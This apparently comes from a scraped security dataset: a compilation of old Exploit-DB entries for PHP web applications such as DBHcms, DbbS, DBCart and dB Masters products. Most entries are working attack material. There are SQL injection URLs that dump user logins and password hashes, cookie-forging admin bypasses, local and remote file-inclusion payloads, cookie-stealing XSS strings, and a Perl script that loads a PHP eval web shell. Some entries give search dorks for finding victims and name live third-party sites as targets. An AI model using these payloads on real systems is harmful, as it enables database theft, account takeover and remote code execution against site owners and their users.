deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3256
Description: dB Masters Curium CMS 1.03 - 'c_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-02
Author: ajann

Exploit:
*******************************************************************************
# Title   :  dB Masters' Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.dbmasters.net
# $$      :  Free
# Dork    :  Powered by dB Masters' Curium CMS 1
# DorkEx  :  http://www.google.com.tr/search?q=Powered+by+dB+Masters%27+Curium+CMS+1&hl=tr&start=0&sa=N

# Info    :  \*Ele gecirdiginiz hash ve kullanici adi ile once siteye register
              olarak cookie ile oynayarak admin yetkisiyle login olabilirsiniz
              Upload bolumunden rahatlikla istediginiz uzantida dosyayi upload
              edebilirsiniz.Uye olurken bazilarinda maile aktivasyon gelir.  

#Lamerlere:  \*Bir siteye rapor yollamakla o konuda cok bilgili olduumuz anla-
              mina gelmez.Ben sahsen hicbirsey bilmedigim kanisindeyken goru-
              yorumki bircok insan hakikaten birseyi basardigini saniyor.
              Bunada burada deginmek istedim.
              Birakin sizi baskasi ovsun.

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news.php?id=-1&c_id=[SQL]

Example:

//news.php?id=-1&s_id=-1%20union%20select%200,1,concat(username,char(32),password),3,4,5,6,7,8,9,0%20from%20cm_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-02]
Exploit-DB #10699
Description: dB Masters MultiMedia - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : dB Masters Multimedia Insecure Cookie Handling Vulnerability            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by dB Masters Multimedia (dB Masters Links Directory 3.1.3)     |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/links/admin.php
| 2- javascript:document.cookie="admin_log=in;path=/";
| login whith the pass "in"
| 3- javascript:document.cookie="admin_log=indoushka;path=/";
| login whith out pss
| tested in Opera V.10
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #9176
Description: dB Masters MultiMedia's Content Manager 4.5 - SQL Injection
Type: webapps
Platform: php
Date: 2009-07-16
Author: NoGe

Exploit:
===========================================================================================


  [o] dB Masters Multimedia's Content Manager 4.5 SQL Injection Vulnerability

       Software : dB Masters Multimedia's Content Manager version 4.5
       Vendor   : http://www.dbmasters.net/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


===========================================================================================


  [o] Vulnerable file

       index.php



  [o] Exploit

       http://localhost/[path]/index.php?n=xx&id=[SQL]



  [o] Proof of concept

       http://www.fosada.za.org/index.php?n=62&id=-57+union+select+1,version()--
       http://www.colourmebeautiful.com.au/index.php?n=1&id=-1+union+select+1,version()--



  [o] Dork

       "Powered by dB Masters Multimedia's Content Manager"


===========================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/news ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa Angela Zhang
       H312Y yooogy mousekill }^-^{ kaka11 zxvf martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===========================================================================================

# milw0rm.com [2009-07-16]
Exploit-DB #8952
Description: DB Top Sites 1.0 - 'index.php?u' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-06-15
Author: SirGod

Exploit:
######################################################################
[+] DB Top Sites v1.0 (index.php u) Local File Inclusion Vulnerability
[+] Discovered By SirGod 
[+] www.mortal-team.org
#######################################################################

[+] Local File Inclusion

 - Vulnerable code is everywhere

-------------------------------------------------------------------------------------------------------
if ( $u != "" ) {

if ( file_exists( "./sites/session/$u.session.php" ) ){
include "./sites/session/$u.session.php";
include "./sites/$u.php";
-------------------------------------------------------------------------------------------------------

- PoC's

    http://127.0.0.1/[path]/full.php?u=../../../../../../BOOTSECT.BAK%00

    http://127.0.0.1/[path]/index.php?u=../../../../../../BOOTSECT.BAK%00

    http://127.0.0.1/[path]/contact.php?u=../../../../../../BOOTSECT.BAK%00


#######################################################################

# milw0rm.com [2009-06-15]
Exploit-DB #27541
Description: DbbS 2.0 - 'Topics.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-31
Author: DaBDouB-MoSiKaR

Exploit:
source: https://www.securityfocus.com/bid/17338/info

DbbS is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

DbbS versions 2.0-alpha and prior are reported to be affected.

http://www.example.com/topics.php?fid=3&limite=[sql]
Exploit-DB #27663
Description: DbbS 2.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-17
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/17559/info

DbbS is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and command-execution vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based
authentication credentials, execute commands to compromise the server, and launch other attacks.

http://www.site.com/DbbS/suntzu.php?cmd=dir

http://www.site.com/DbbS/profile.php?mode=edit&myid=1&ulocation="><script>alert(document.cookie)</script>

http://www.site.com/DbbS/profile.php?mode=edit&myid=1&uhobbies="><script>alert(document.cookie)</script>
Exploit-DB #12661
Description: DBCart - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-19
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
           DBCart (article.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: May, 19-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : DBCart ONLINE SHOPPING APPLICATION
Vendor      : http://www.debliteck.com/
Google Dork : Use Your Brain & Imagination :)
Overview    :
 
DBCart is an online shopping application that allows perspective customers 
to browse your products and either save them on their wish list or add them 
to their cart and checkout. 
----------------------------------------------------------------

Exploit:
~~~~~~~

9999+and+1=2+union+all+select+version(),2--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/article.php?id=[SQLi]
http://127.0.0.1/[path]/article.php?id=9999+and+1=2+union+all+select+version(),2--
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (besok² klo curhat jangan nangis lagi ah uR bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- elicha cristia [ met ultah yach sayang :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[at]live[live]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------
Exploit-DB #3354
Description: DBGuestbook 1.1 - 'dbs_base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-21
Author: Denven

Exploit:
DBGuestBook 1.1
 
*****************
Found by Denven *
*****************
Script: http://www.dbscripts.net/download/?file=2
*****************
ERROR:
 
includes/utils.php                               require_once $dbs_base_path
includes/guestbook.php                           require_once $dbs_base_path
includes/views.php                               require_once $dbs_base_path
 
 
 
**************************************************************************************
RFI:
 
http://SITE.com/path/includes/utils.php?dbs_base_path=[SHELL]
http://SITE.com/path/includes/guestbook.php?dbs_base_path=[SHELL]
http://SITE.com/path/includes/views.php?dbs_base_path=[SHELL]
 

**************************************************************************************
denven[at]gmail[dot]com

# milw0rm.com [2007-02-21]
Exploit-DB #5189
Description: DBHcms 1.1.4 - 'code' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-25
Author: Iron

Exploit:
#!/usr/bin/perl
#	DBHcms <= 1.1.4 Remote File Inclusion exploit
#	Vendor url: www.drbenhur.com
#
# exploit is hard to execute through a browser -possible though- since it's with POST
#							~Iron
#							http://www.randombase.com
require LWP::UserAgent;
#Shell:
# <?php if(!empty($_GET['do'])){eval($_GET['do']);}?>
$shell_url = "http://localhost/s.txt";

print "#
#  DBHcms <= 1.1.4 Remote File Inclusion exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group
#
# Example target url: http://www.target.com/dhbcms/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
	$target = "http://".$target;
}
if($target !~ /\/$/)
{
	$target .= "/";
}
print "PHP code to evaluate? ";
chomp($code=<stdin>);
$code =~ s/(<\?php|\?>|<\?)//ig;
$target .= "dbhcms/mod/mod.extmanager.php?do=".$code;

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->post($target,
{
'extmanager_install' => $shell_url.'?'
});

if ($response->is_success)
{
	print "\n"."#" x 20 ."\n";
	if($response->content =~ /URL file-access/)
	{
		print 'Exploit failed';
	}
	else
	{
		print $response->content;
	}
	print "\n"."#" x 20 ."\n";
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-02-25]
Exploit-DB #10717
Description: DBHcms 1.1.4 - 'dbhcms_core_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: Gamoscu

Exploit:
#############################################################
#  DBHCMS - Web Content Management System RFI Vulnerability
   
    http://www.drbenhur.com/
   
# Author: Gamoscu

# Site: www.1923turk.biz

  https://gamoscu.wordpress.com/


Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO


Hosgeldin medine bebek Allah anali babali buyutsun pasam 
  
##############################################################

# Exploit: 
            

Vuln file: index.php


Exploit:


target: ?dbhcms_core_dir=http://site.com/shell.txt%00


/ * Need register_globals = ON and allow_url_include = ON without a second yuzaetsya as LFI * /
 

index.php

function dbhcms_init($core) { 
        $init  = $core.'init.php'; 
        $page  = $core.'page.php'; 
        if ((is_file($init))&&(is_file($page))) { 
            require_once($init); 
            require_once($page); 
        } else { 
            die('<div style="color: #872626; font-weight: bold;"> 
                        FATAL ERROR - Could not find the initialzation files.  
                        Please check the "$dbhcms_core_dir" parameter in the "config.php" and make  
                        shure the directory is correct. 
                    </div>'); 
        } 
    } 
...... 
dbhcms_init($GLOBALS['dbhcms_core_dir']); 




Vatan Lafla Degil Eylemle Sevilir 

Kiskananlar catlasin Zorunuza Gitmesin
Exploit-DB #15309
Description: DBHcms 1.1.4 - 'dbhcms_pid' SQL Injection
Type: webapps
Platform: php
Date: 2010-10-24
Author: ZonTa

Exploit:
DBHcms 1.1.4 SQL Injection Vulnerability

# Exploit Title:    DBHcms 1.1.4 SQL Injection Vulnerability
# Date: 24-10-2010 
# Author: ZonTa
# Mail: zontahackers[at]gmail[dot]com 
# IM : zontahackers[at]live[dot]com

# Software Link:    http://www.drbenhur.com/downloads-dbhcms-114-1-69-en.html
# Version: 1.1.4
# Tested on: Apache,PHP5


ABOUT
--------------

The DBHcms is a Open Source content management system for personal
and small business websites. It is search engine optimized, also
for multiple languages simultaneously by allowing the search engine
bot to index every single page.


POC
--------------

http://192.168.1.100/DBHcms/index.php?dbhcms_pid=-81&editmenu=-2+union+select+1,2,3,4,5,6,group_concat(user_login,0x3a,user_passwd),8,9,10,11,12,13,14+from+dbhcms_cms_users--


FIX
--------------

Not yet released.


Greetz to Sri Lankanz ~
Exploit-DB #15321
Description: DBHcms 1.1.4 - 'dbhcms_user/SearchString' SQL Injection
Type: webapps
Platform: php
Date: 2010-10-27
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22651
Reference: http://www.htbridge.ch/advisory/sql_injection_in_dbhcms.html
Product: DBHcms 
Vendor: drbenhur.com ( http://www.drbenhur.com/ ) 
Vulnerable Version: 1.1.4 and probably prior versions
Vendor Notification: 13 October 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "dbhcms_user" variable.
Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/" method="post" name="main" >
<input type="hidden" name="dbhcms_user" value="'SQL CODE HERE" />
<input type="hidden" name="dbhcms_passwd" value="password" />
<input type="submit" value="Login" name="submit" />
</form>


The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "searchString" variable.
Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/index.php?dbhcms_did=1&dbhcms_pid=11&dbhcms_lang=en" method="post" name="search" />
<input name="dbhcmsCache" value="CT_OFF" type="hidden" />
<input name="todo" value="searchExecute" type="hidden" />
<input name="searchString" value="'SQL CODE HERE" type="hidden" />
<input type="submit" value="Search" name="submit" />
</form>
Exploit-DB #12499
Description: DBHcms 1.1.4 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-04
Author: ITSecTeam

Exploit:
############################################################################
#Title: DBHcms 1.1.4 Stored XSS #
#Vendor: http://www.drbenhur.com #
#Dork: "powered by DBHcms" #
############################################################################
#AUTHOR: ITSecTeam #
#Email: Bug@ITSecTeam.com #
#Website: http://www.itsecteam.com #
#Forum : http://forum.ITSecTeam.com #
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability50.htm
#Thanks: r3dm0v3 [r3dm0v3_at_ymail.com], Pejvak, am!rkh@n #
############################################################################

#DESCRIPTION (by vendor):###################################################
The DBHcms is a small free Open Source content management system for
personal and small business websites.`

#Stored XSS
POC:########################################################################
goto guestbook and post any script as name!


#Non-persistent XSS
POC:###################################################################
goto search and query this string: "><script>alert(1)</script>
Exploit-DB #3353
Description: DBImageGallery 1.2.2 - 'donsimg_base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-21
Author: Denven

Exploit:
DBImageGallery 1.2.2
 
*****************
Found by Denven *
*****************
Script: http://www.dbscripts.net/download/?file=1
*****************
ERROR:
 
admin/attributes.php                      require_once $donsimg_base_path
admin/images.php                          require_once $donsimg_base_path
admin/scan.php                            require_once $donsimg_base_path
includes/attributes.php                   require_once $donsimg_base_path
includes/db_utils.php                     require_once $donsimg_base_path
includes/images.php                       require_once $donsimg_base_path
includes/utils.php                        require_once $donsimg_base_path
includes/values.php                       require_once $donsimg_base_path
 
 
 
**************************************************************************************
RFI:
 
http://SITE.com/path/admin/attributes.php?donsimg_base_path=[SHELL]
http://SITE.com/path/admin/images.php?donsimg_base_path=[SHELL]
http://SITE.com/path/admin/scan.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/attributes.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/db_utils.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/images.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/utils.php?donsimg_base_path=[SHELL]
http://SITE.com/path/includes/values.php?donsimg_base_path=[SHELL]
 

**************************************************************************************
denven[at]gmail[dot]com

# milw0rm.com [2007-02-21]
Exploit-DB #38748
Description: dBlog CMS - 'm' SQL Injection
Type: webapps
Platform: php
Date: 2013-09-03
Author: ACC3SS

Exploit:
source: https://www.securityfocus.com/bid/62146/info

dBlog CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/dblog/storico.asp?m=[Sql Injection]
Exploit-DB #33858
Description: DBSite wb CMS - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-21
Author: The_Exploited

Exploit:
source: https://www.securityfocus.com/bid/39613/info

DBSite wb CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 


=========================================
DBSite w/b CMS Multiple XSS Vulnerability
=========================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /&#039; \            __  /&#039;__`\        /\ \__  /&#039;__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /&#039; _ `\ \/\ \/_/_\_<_  /&#039;___\ \ \/\ \ \ \ \/\`&#039;__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                 ###########################################          1
0                 I&#039;m The_Exploited member from Inj3ct0r Team          1
1                 ###########################################          0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: The_Exploited

@Title: DBSite w/b CMS Multiple XSS Vulnerability

@Author: The_Exploited aka l3d aka Spoof

@Mail: spoof@live.it

@Site: http://site.securityspl0its.com/ - http://forum.securityspl0its.com/

@Exploit: "><script>alert(document.cookie);</script>

@Demo 1: http://www.mysite.com/dbsite/index.php?page=default&id=1&&lang=[XSS]

@Demo 2: http://www.mysite.com/dbsite/index.php?page=default&id=1&lang=&[PATH]=[XSS]

@Demo online 1: http://www.pratoturismo.it/index.php?page=default&id=8&lang=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

@Demo online 2: http://www.pratoturismo.it/index.php?page=default&id=16&lang=&comune=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

@CMS Version: All

@CMS Download: http://www.liberologico.com/www/index.php?idx_menu=2&idx_subMenu=0&ID_scheda=31


# Inj3ct0r.com [2010-04-21]